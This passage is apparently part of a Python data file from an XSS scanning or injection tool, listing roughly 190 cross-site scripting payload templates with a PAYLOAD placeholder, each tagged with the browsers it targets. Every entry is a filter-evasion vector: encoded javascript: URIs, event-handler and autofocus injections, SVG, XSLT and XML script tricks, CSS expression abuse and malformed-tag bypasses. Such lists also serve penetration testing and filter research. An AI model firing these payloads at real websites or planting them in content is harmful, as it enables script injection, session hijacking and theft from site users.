  347. 'browser':"""[Not Info]"""},
  348. { 'payload':'''<li style=list-style:url() onerror=PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=PAYLOAD></div>''',
  349. 'browser':"""[Opera10.5+]"""},
  350. { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,PAYLOAD//#">XXX</a></body>''',
  351. 'browser':"""[Opera8|Opera10.5] [IE]"""},
  352. { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>PAYLOAD</SCRIPT>''',
  353. 'browser':"""[Opera] [IE]"""},
  354. { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(PAYLOAD)"></OBJECT>''',
  355. 'browser':"""[IE9.0]"""},
  356. { 'payload':'''<b <script>alert(PAYLOAD)</script>0''',
  357. 'browser':"""[Not Info]"""},
  358. { 'payload':'''<div id="div1"><input value="``onmouseover=PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
  359. 'browser':"""[Not Info]"""},
  360. { 'payload':"""<x '='foo'><x foo='><img src=x onerror=PAYLOAD//'>""",
  361. 'browser':"""[Not Info]"""},
  362. { 'payload':'''<div style=width:1px;filter:glow onfilterchange=PAYLOAD>x''',
  363. 'browser':"""[IE]"""},
  364. { 'payload':"""<x '="foo"><x foo='><img src=x onerror=PAYLOAD//'>""",
  365. 'browser':"""[IE6.0]"""},
  366. { 'payload':'''<? foo="><script>PAYLOAD</script>">''',
  367. 'browser':"""[Not Info]"""},
  368. { 'payload':'''<! foo="><script>PAYLOAD</script>">''',
  369. 'browser':"""[Not Info]"""},
  370. { 'payload':'''</ foo="><script>PAYLOAD</script>">''',
  371. 'browser':"""[Not Info]"""},
  372. { 'payload':'''<? foo="><x foo="?><script>PAYLOAD</script>">">''',
  373. 'browser':"""[Not Info]"""},
  374. { 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>PAYLOAD</script>">''',
  375. 'browser':"""[Not Info]"""},
  376. { 'payload':'''<% foo><x foo="%><script>PAYLOAD</script>">''',
  377. 'browser':"""[Not Info]"""},
  378. { 'payload':'''<div id=d><x xmlns="><iframe onload=PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
  379. 'browser':"""[IE]"""},
  380. { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:PAYLOAD>XXX</a>''',
  381. 'browser':"""[Safari] [Chrome]"""},
  382. { 'payload':'''<img src="x` `<script>PAYLOAD</script>"` `>''',
  383. 'browser':"""[IE]"""},
  384. { 'payload':'''<img src onerror /" '"= alt=PAYLOAD//">''',
  385. 'browser':"""[Safari]"""},
  386. { 'payload':'''<title onpropertychange=PAYLOAD></title><title title=>''',
  387. 'browser':"""[IE9.0]"""},
  388. { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=PAYLOAD></a>">''',
  389. 'browser':"""[IE]"""},
  390. { 'payload':'''<!--[if]><script>PAYLOAD</script -->''',
  391. 'browser':"""[IE]"""},
  392. { 'payload':'''<!--[if<img src=x onerror=PAYLOAD//]> -->''',
  393. 'browser':"""[IE]"""},
  394. { 'payload':'''<script src="/\PAYLOAD"></script>''',
  395. 'browser':"""[Not Info]"""},
  396. { 'payload':'''<script src="\\PAYLOAD"></script>''',
  397. 'browser':"""[Not Info]"""},
  398. { 'payload':"""<a style="-o-link:'javascript:PAYLOAD';-o-link-source:current">X""",
  399. 'browser':"""[Opera]"""},
  400. { 'payload':"""<style>p[foo=bar{}*{-o-link:'javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>""",
  401. 'browser':"""[Opera]"""},
  402. { 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(PAYLOAD)%7d''',
  403. 'browser':"""[Not Info]"""},
  404. { 'payload':'''<style>@import "data:,*%7bx:expression(PAYLOAD)%7D";</style>''',
  405. 'browser':"""[Not Info]"""},
  406. { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="PAYLOAD;">XXX</a></a><a href="javascript:PAYLOAD">XXX</a>''',
  407. 'browser':"""[Not Info]"""},
  408. { 'payload':'''<script>({set/**/$($){_/**/setter=$,_=PAYLOAD}}).$=eval</script>''',
  409. 'browser':"""[FF]"""},
  410. { 'payload':'''<script>({0:#0=eval/#0#/#0#(PAYLOAD)})</script>''',
  411. 'browser':"""[Not Info]"""},
  412. { 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){PAYLOAD}),x</script>''',
  413. 'browser':"""[Not Info]"""},
  414. { 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('PAYLOAD')()</script>''',
  415. 'browser':"""[Not Info]"""},
  416. { 'payload':'''<script src="#">{PAYLOAD}</script>;1''',
  417. 'browser':"""[Not Info]"""},
  418. { 'payload':'''+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),PAYLOAD;''',
  419. 'browser':"""[Not Info]"""},
  420. { 'payload':'''<b><script<b></b><PAYLOAD</script </b>''',
  421. 'browser':"""[Not Info]"""},
  422. { 'payload':'''<script<{PAYLOAD}/></script </>''',
  423. 'browser':"""[Not Info]"""},
  424. { 'payload':'''<script>crypto.generateCRMFRequest('CN=0',0,0,null,'PAYLOAD',384,null,'rsa-dual-use')</script>''',
  425. 'browser':"""[FF]"""},
  426. { 'payload':'''<script>[{'a':Object.prototype.__defineSetter__('b',function(){eval(arguments[0])}),'b':['PAYLOAD']}]</script>''',
  427. 'browser':"""[Not Info]"""},
  428. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:PAYLOAD"></g></svg>''',
  429. 'browser':"""[Not Info]"""},
  430. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><script>PAYLOAD</script></svg>''',
  431. 'browser':"""[Not Info]"""},
  432. { 'payload':'''<svg onload="javascript:PAYLOAD" xmlns="http://www.w3.org/2000/svg"></svg>''',
  433. 'browser':"""[Not Info]"""},
  434. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:PAYLOAD"><rect width="1000" height="1000" fill="white"/></a> </svg>''',
  435. 'browser':"""[FF]"""},
  436. { 'payload':'''<?xml version="1.0" standalone="no"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css"> @font-face {font-family: y; src: url("PAYLOAD#x") format("svg");} body {font: 100px "y";} </style> </head> <body>X</body> </html>''',
  437. 'browser':"""[Opera 10]"""},
  438. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <animation xlink:href="javascript:PAYLOAD"/> <animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='PAYLOAD'%3E%3C/svg%3E"/> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(PAYLOAD)'%3E%3C/svg%3E"/> <foreignObject xlink:href="javascript:PAYLOAD"/> <foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3EPAYLOAD%3C/script%3E"/> </svg>''',
  439. 'browser':"""[Opera] [FF]"""},
  440. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <set attributeName="onmouseover" to="PAYLOAD"/> <animate attributeName="onunload" to="PAYLOAD"/> </svg>''',
  441. 'browser':"""[Not Info]"""},
  442. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">PAYLOAD</handler> </svg>''',
  443. 'browser':"""[Opera]"""},
  444. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="foo"> <x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E PAYLOAD %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> </svg>''',
  445. 'browser':"""[Not Info]"""},
  446. { 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:PAYLOAD"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>''',
  447. 'browser':"""[Opera]"""},
  448. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="x"> <listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> <handler id="y">PAYLOAD</handler> </svg>''',
  449. 'browser':"""[Opera]"""},
  450. { 'payload':'''<svg><style>&ltimg/src=x onerror=PAYLOAD// </b>''',
  451. 'browser':"""[FF]"""},
  452. { 'payload':'''<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:PAYLOAD"/>''',
  453. 'browser':"""[IE]"""},
  454. { 'payload':'''<svg> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.PAYLOAD</script></svg>")'></svg>''',
  455. 'browser':"""[Opera]"""},
  456. { 'payload':'''<?xml-stylesheet href="javascript:PAYLOAD"?>''',
  457. 'browser':"""[Opera]"""},
  458. { 'payload':'''<!DOCTYPE x[<!ENTITY x SYSTEM "PAYLOAD">]><y>&x;</y>''',
  459. 'browser':"""[IE]"""},
  460. { 'payload':'''<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "PAYLOAD"><x>&x;</x>''',
  461. 'browser':"""[IE]"""},
  462. { 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='X'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3EPAYLOAD%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <root/>''',
  463. 'browser':"""[Opera]"""},
  464. { 'payload':'''<!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "x" onerror CDATA "PAYLOAD"> ]><img /><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:PAYLOAD" xlink:type="simple">XXX</x> </doc>''',
  465. 'browser':"""[Opera] [FF]"""},
  466. { 'payload':'''<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:PAYLOAD"/></onevent><timer value="1"/></card>''',
  467. 'browser':"""[Opera]"""},
  468. { 'payload':'''<?xml-stylesheet type="text/css"?><root style="x:expression(PAYLOAD)"/>''',
  469. 'browser':"""[IE]"""},
  470. { 'payload':'''<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:PAYLOAD" xlink:type="simple"/>''',
  471. 'browser':"""[FF]"""},
  472. { 'payload':'''<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(PAYLOAD);%7d"?>''',
  473. 'browser':"""[Not Info]"""},
  474. { 'payload':'''<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:PAYLOAD"><x:timer value="1"/></x:template>''',
  475. 'browser':"""[Not Info]"""},
  476. { 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:PAYLOAD//#x"/>''',
  477. 'browser':"""[Opera]"""},
  478. { 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="PAYLOAD#x"/>''',
  479. 'browser':"""[Opera]"""},
  480. { 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`PAYLOAD` >''',
  481. 'browser':"""[IE]"""},
  482. { 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=PAYLOAD&gt;`>''',
  483. 'browser':"""[Not Info]"""},
  484. { 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=PAYLOAD&gt;>''',
  485. 'browser':"""[IE]"""},
  486. { 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
  487. 'browser':"""[IE]"""},
  488. { 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:PAYLOAD">XXX</a>''',
  489. 'browser':"""[IE]"""},
  490. { 'payload':'''<event-source src="PAYLOAD" onload="PAYLOAD">''',
  491. 'browser':"""[Opera]"""},
  492. { 'payload':'''<a href="javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">''',
  493. 'browser':"""[Opera]"""},
  494. { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=PAYLOAD&gt;">''',
  495. 'browser':"""[IE]"""},
  496. { 'payload':'''<SCRIPT SRC=PAYLOAD?<B>''',
  497. 'browser':"""[Not Info]"""},
  498. { 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>''',
  499. 'browser':"""[Not Info]"""},
  500. { 'payload':'''<SCRIPT/SRC="PAYLOAD"></SCRIPT>''',
  501. 'browser':"""[Not Info]"""},
  502. { 'payload':'''<iframe src=PAYLOAD <''',
  503. 'browser':"""[Not Info]"""},
  504. { 'payload':'''<LAYER SRC="PAYLOAD"></LAYER>''',
  505. 'browser':"""[Not Info]"""},
  506. { 'payload':'''<STYLE>li {list-style-image: url("javascript:PAYLOAD");}</STYLE><UL><LI>X''',
  507. 'browser':"""[Not Info]"""},
  508. { 'payload':'''<META HTTP-EQUIV="Link" Content="<PAYLOAD>; REL=stylesheet">''',
  509. 'browser':"""[Opera 8]"""},
  510. { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
  511. 'browser':"""[Not Info]"""},
  512. { 'payload':'''<HTML xmlns:X><?import namespace="X" implementation="%(htc)s"><X:X>X</X:X></HTML>""","XML namespace."),("""<XML ID="X"><I><B>&lt;IMG SRC="javas<!-- -->cript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
  513. 'browser':"""[IE]"""},
  514. { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="X&lt;SCRIPT DEFER&gt;PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
  515. 'browser':"""[IE]"""},
  516. { 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="PAYLOAD">''',
  517. 'browser':"""[IE]"""},
  518. { 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:PAYLOAD;');}</STYLE>''',
  519. 'browser':"""[Not Info]"""},
  520. { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>PAYLOAD&&;&&<&&/script&&>''',
  521. 'browser':"""[Not Info]"""},
  522. { 'payload':'''<SCRIPT onreadystatechange=javascript:PAYLOAD;></SCRIPT>''',
  523. 'browser':"""[IE]"""},
  524. { 'payload':'''<style onreadystatechange=javascript:PAYLOAD;></style>''',
  525. 'browser':"""[IE]"""},
  526. { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>PAYLOAD;</html:script></html:html>''',
  527. 'browser':"""[Not Info]"""},
  528. { 'payload':'''<embed code=javascript:PAYLOAD;></embed>''',
  529. 'browser':"""[Not Info]"""},
  530. { 'payload':'''<frameset onload=javascript:PAYLOAD></frameset>''',
  531. 'browser':"""[Not Info]"""},
  532. { 'payload':'''<object onerror=javascript:PAYLOAD>''',
  533. 'browser':"""[Not Info]"""},
  534. { 'payload':'''<embed type="image" src=PAYLOAD></embed>''',
  535. 'browser':"""[Not Info]"""},
  536. { 'payload':'''<a href="jav&#65ascript:PAYLOAD">X1</a>''',
  537. 'browser':"""[Opera]"""},
  538. { 'payload':'''<a href="jav&#97ascript:PAYLOAD">X1</a>''',
  539. 'browser':"""[Opera]"""},
  540. { 'payload':'''<embed width=500 height=500 code="data:text/html,<script>PAYLOAD</script>"></embed>''',
  541. 'browser':"""[Not Info]"""},
  542. { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=PAYLOAD&amp;gt;>">''',
  543. 'browser':"""[Not Info]"""},
  544. { 'payload':'''<script>if(document.createElement("td").cellIndex == 0){PAYLOAD}</script>''',
  545. 'browser':"""[IE]"""},
  546. { 'payload':'''<script>v=document.createElement("td").cellIndexif( v == -1){PAYLOAD}</script>''',
  547. 'browser':"""[IE]"""},
  548. { 'payload':'''<script>v=document.createElement("td").cellIndexif( v> 1){PAYLOAD}</script>''',
  549. 'browser':"""[IE]"""},
  550. { 'payload':'''<script>v=document.createElement("td").cellIndexif( v== undefined){PAYLOAD}</script>''',
  551. 'browser':"""[IE]"""},
  552. { 'payload':'''<div/style="width:expression(confirm(PAYLOAD))">X</div>''',
  553. 'browser':"""[IE7.0]"""},
  554. { 'payload':"""<sVg><scRipt %00>alert&lpar;PAYLOAD&rpar;""",
  555. 'browser':"""[Opera]"""},
  556. { 'payload':"""<svg><script x:href='PAYLOAD'""",
  557. 'browser':"""[Opera]"""},
  558. { 'payload':"""&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(PAYLOAD)>OnMouseOver""",
  559. 'browser':"""[Opera|FF2.0]"""},
  560. { 'payload':"""<svg><script psy> alert(PAYLOAD)""",
  561. 'browser':"""[Opera]"""},
  562. { 'payload':"""<iframe %00 src="&Tab;javascript:prompt(PAYLOAD)&Tab;"%00>""",
  563. 'browser':"""[Chrome]"""},
  564. { 'payload':"""<svg><style>{font-family&colon;'<iframe/onload=confirm(PAYLOAD)>'""",
  565. 'browser':"""[Chrome]"""},
  566. { 'payload':'''<input/onmouseover="javaSCRIPT&colon;confirm&lpar;PAYLOAD&rpar;"''',
  567. 'browser':"""[Chrome]"""},
  568. { 'payload':"""<img/src='%00' onerror=this.onerror=confirm(PAYLOAD)""",
  569. 'browser':"""[Chrome]"""},
  570. { 'payload':'''<form><isindex formaction="javascript&colon;confirm(PAYLOAD)"''',
  571. 'browser':"""[Chrome]"""},
  572. { 'payload':"""<img src='%00'&NewLine; onerror=alert(PAYLOAD)&NewLine;""",
  573. 'browser':"""[Chrome]"""},
  574. { 'payload':"""<script/&Tab; src='PAYLOAD' /&Tab;></script>""",
  575. 'browser':"""[Chrome]"""},
  576. { 'payload':"""<ScRipT 5-0*3+9/3=>prompt(PAYLOAD)</ScRipT giveanswerhere=?""",
  577. 'browser':"""[Chrome]"""},
  578. { 'payload':"""<script /*%00*/>/*%00*/alert(PAYLOAD)/*%00*/</script /*%00*/""",
  579. 'browser':"""[Chrome]"""},
  580. { 'payload':"""&#34;&#62;<h1/onmouseover='\u0061lert(PAYLOAD)'>%00""",
  581. 'browser':"""[Chrome]"""},
  582. { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=alert(PAYLOAD)>">''',
  583. 'browser':"""[Chrome]"""},
  584. { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(PAYLOAD)" http-equiv="refresh"/>''',
  585. 'browser':"""[Chrome]"""},
  586. { 'payload':"""<svg><script xlink:href=data&colon;,window.open('PAYLOAD')></script""",
  587. 'browser':"""[Chrome] [FF]"""},
  588. { 'payload':'''<meta http-equiv="refresh" content="0;url=javascript:confirm(PAYLOAD)">''',
  589. 'browser':"""[Chrome]"""},
  590. { 'payload':"""<img/&#09;&#10;&#11; src='~' onerror=prompt(PAYLOAD)>""",
  591. 'browser':"""[Chrome]"""},
  592. { 'payload':'''<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(PAYLOAD)"&#11;&#10;&#09;;>''',
  593. 'browser':"""[Chrome]"""},
  594. { 'payload':"""http://www.google<script .com>alert(PAYLOAD)</script""",
  595. 'browser':"""[Chrome]"""},
  596. { 'payload':"""<script ^__^>alert(PAYLOAD)</script ^__^""",
  597. 'browser':"""[Chrome]"""},
  598. { 'payload':"""</style &#32;><script &#32; :-(>/**/alert(PAYLOAD)/**/</script &#32; :-(""",
  599. 'browser':"""[Chrome]"""},
  600. { 'payload':'''&#00;</form><input type&#61;"date" onfocus="alert(PAYLOAD)">''',
  601. 'browser':"""[Chrome]"""},
  602. { 'payload':"""<form><textarea &#13; onkeyup='PAYLOAD'>""",
  603. 'browser':"""[Chrome]"""},
  604. { 'payload':"""<script /***/>/***/confirm('PAYLOAD')/***/</script /***/""",
  605. 'browser':"""[Chrome]"""},
  606. { 'payload':"""<iframe srcdoc='&lt;body onload=prompt&lpar;PAYLOAD&rpar;&gt;'>""",
  607. 'browser':"""[Chrome]"""},
  608. { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(PAYLOAD)&NewLine;>X</a>''',
  609. 'browser':"""[Chrome]"""},
  610. { 'payload':"""<script ~~~>alert(PAYLOAD)</script ~~~>""",
  611. 'browser':"""[Chrome]"""},
  612. { 'payload':"""<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;PAYLOAD&rpar;>""",
  613. 'browser':"""[Chrome]"""},
  614. { 'payload':"""<///style///><span %2F onmousemove='alert&lpar;PAYLOAD&rpar;'>SPAN""",
  615. 'browser':"""[Chrome]"""},
  616. { 'payload':"""<img/src='http://i.imgur.com/removed.png' onmouseover=&Tab;prompt(PAYLOAD)""",
  617. 'browser':"""[Chrome]"""},
  618. { 'payload':"""&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(PAYLOAD)>'""",
  619. 'browser':"""[Chrome]"""},
  620. { 'payload':"""<marquee onstart='javascript:alert&#x28;PAYLOAD&#x29;'>^__^""",
  621. 'browser':"""[Chrome]"""},
  622. { 'payload':"""<iframe/%00/ src=javaSCRIPT&colon;alert(PAYLOAD)""",
  623. 'browser':"""[Chrome]"""},
  624. { 'payload':'''/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(PAYLOAD) /*iframe/src*/>''',
  625. 'browser':"""[Chrome]"""},
  626. { 'payload':"""//|\\ <script //|\\ src='PAYLOAD'> //|\\ </script //|\\""",
  627. 'browser':"""[Chrome]"""},
  628. { 'payload':"""</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(PAYLOAD)>'</font>/</style>""",
  629. 'browser':"""[Chrome]"""},
  630. { 'payload':'''<a/href="javascript:&#13; javascript:prompt(PAYLOAD)"><input type="X">''',
  631. 'browser':"""[Chrome]"""},
  632. { 'payload':"""</plaintext\></|\><plaintext/onmouseover=prompt(PAYLOAD)""",
  633. 'browser':"""[Chrome]"""},
  634. { 'payload':"""<div onmouseover='alert&lpar;PAYLOAD&rpar;'>DIV</div>""",
  635. 'browser':"""[Chrome]"""},
  636. { 'payload':'''<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)">''',
  637. 'browser':"""[Chrome]"""},
  638. { 'payload':'''<a href="jAvAsCrIpT&colon;alert&lpar;PAYLOAD&rpar;">X</a>''',
  639. 'browser':"""[Chrome]"""},
  640. { 'payload':'''<embed src="PAYLOAD">''',
  641. 'browser':"""[Chrome]"""},
  642. { 'payload':'''<object data="PAYLOAD">''',
  643. 'browser':"""[Chrome]"""},
  644. { 'payload':"""<var onmouseover="prompt(PAYLOAD)">On Mouse Over</var>""",
  645. 'browser':"""[Chrome]"""},
  646. { 'payload':'''<img src="/" =_=" title="onerror="prompt(PAYLOAD)"">''',
  647. 'browser':"""[Chrome]"""},
  648. { 'payload':"""<%<!--'%><script>alert(PAYLOAD);</script -->""",
  649. 'browser':"""[Chrome]"""},
  650. { 'payload':'''<script src="data:text/javascript,alert(PAYLOAD)"></script>''',
  651. 'browser':"""[Chrome]"""},
  652. { 'payload':"""<iframe/src \/\/onload = prompt(PAYLOAD)""",
  653. 'browser':"""[Chrome]"""},
  654. { 'payload':"""<iframe/onreadystatechange=alert(PAYLOAD)""",
  655. 'browser':"""[Chrome] [IE]"""},
  656. { 'payload':"""<svg/onload=alert(PAYLOAD)""",
  657. 'browser':"""[Chrome]"""},
  658. { 'payload':"""<input value=<><iframe/src=javascript:confirm(PAYLOAD)""",
  659. 'browser':"""[Chrome]"""},
  660. { 'payload':"""<input type='text' value='' <div/onmouseover='alert(PAYLOAD)'>X</div>""",
  661. 'browser':"""[Chrome]"""},
  662. { 'payload':"""http://www.<script>alert(PAYLOAD)</script .com""",
  663. 'browser':"""[Chrome]"""},
  664. { 'payload':"""<svg><script ?>alert(PAYLOAD)""",
  665. 'browser':"""[Chrome]"""},
  666. { 'payload':"""<img src='xx:xx'onerror=alert(PAYLOAD)>""",
  667. 'browser':"""[Chrome]"""},
  668. { 'payload':'''<object type="text/x-scriptlet" data="PAYLOAD "></object>''',
  669. 'browser':"""[Chrome]"""},
  670. { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;alert(PAYLOAD)"/>''',
  671. 'browser':"""[Chrome]"""},
  672. { 'payload':'''<math><a xlink:href="PAYLOAD">click''',
  673. 'browser':"""[Chrome] [FF]"""},
  674. { 'payload':'''<embed code="PAYLOAD" allowscriptaccess=always>''',
  675. 'browser':"""[Chrome]"""},
  676. { 'payload':"""<svg contentScriptType=text/vbs><script>MsgBox+PAYLOAD""",
  677. 'browser':"""[Chrome]"""},
  678. { 'payload':"""<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('PAYLOAD')>""",
  679. 'browser':"""[Chrome] [IE]"""},
  680. { 'payload':'''<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert("PAYLOAD")"></script a=\u0061 & /=%2F''',
  681. 'browser':"""[Chrome]"""},
  682. { 'payload':"""<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/PAYLOAD/)></script""",
  683. 'browser':"""[Chrome]"""},
  684. { 'payload':"""<object data=javascript&colon;\u0061&#x6C;&#101%72t(PAYLOAD)>""",
  685. 'browser':"""[Chrome]"""},
  686. { 'payload':"""<script>+-+-1-+-+alert(PAYLOAD)</script>""",
  687. 'browser':"""[Chrome]"""},
  688. { 'payload':"""<body/onload=&lt;!--&gt;&#10alert(PAYLOAD)>""",
  689. 'browser':"""[Chrome]"""},
  690. { 'payload':"""<img src ?psy?\/onerror = alert(PAYLOAD)""",
  691. 'browser':"""[Chrome]"""},
  692. { 'payload':"""<svg><script>//&NewLine;confirm(PAYLOAD);</script </svg>""",
  693. 'browser':"""[Chrome]"""},
  694. { 'payload':"""<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(PAYLOAD)>ClickMe""",
  695. 'browser':"""[Chrome]"""},
  696. { 'payload':"""<script x> alert(PAYLOAD) </script 1=2""",
  697. 'browser':"""[Chrome]"""},
  698. { 'payload':"""<div/onmouseover='alert(PAYLOAD)'> style='x:'>""",
  699. 'browser':"""[Chrome]"""},
  700. { 'payload':"""<--'<img/src=' onerror=alert(PAYLOAD)> --!>""",
  701. 'browser':"""[Chrome]"""},
  702. { 'payload':"""<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(PAYLOAD)></script>""",
  703. 'browser':"""[Chrome]"""},
  704. { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>''',
  705. 'browser':"""[Chrome]"""},
  706. { 'payload':"""'><img src=x onerror=window.open('PAYLOAD');>""",
  707. 'browser':"""[Chrome]"""},
  708. { 'payload':"""<form><button formaction=javascript&colon;alert(PAYLOAD)>CLICKME""",
  709. 'browser':"""[Chrome]"""},
  710. { 'payload':"""<form id="test" /><button form="test" formaction="javascript:PAYLOAD">X""",
  711. 'browser':"""[HTML5 Injection]"""},
  712. { 'payload':"""<input onfocus=javascript:PAYLOAD autofocus>""",
  713. 'browser':"""[HTML5 Injection]"""},
  714. { 'payload':"""<select onfocus=javascript:PAYLOAD autofocus>""",
  715. 'browser':"""[HTML5 Injection]"""},
  716. { 'payload':"""<textarea onfocus=javascript:PAYLOAD autofocus>""",
  717. 'browser':"""[HTML5 Injection]"""},
  718. { 'payload':"""<keygen onfocus=javascript:PAYLOAD autofocus>""",
  719. 'browser':"""[HTML5 Injection]"""},
  720. { 'payload':"""<input onblur=javascript:PAYLOAD autofocus><input autofocus>""",
  721. 'browser':"""[HTML5 Injection]"""},
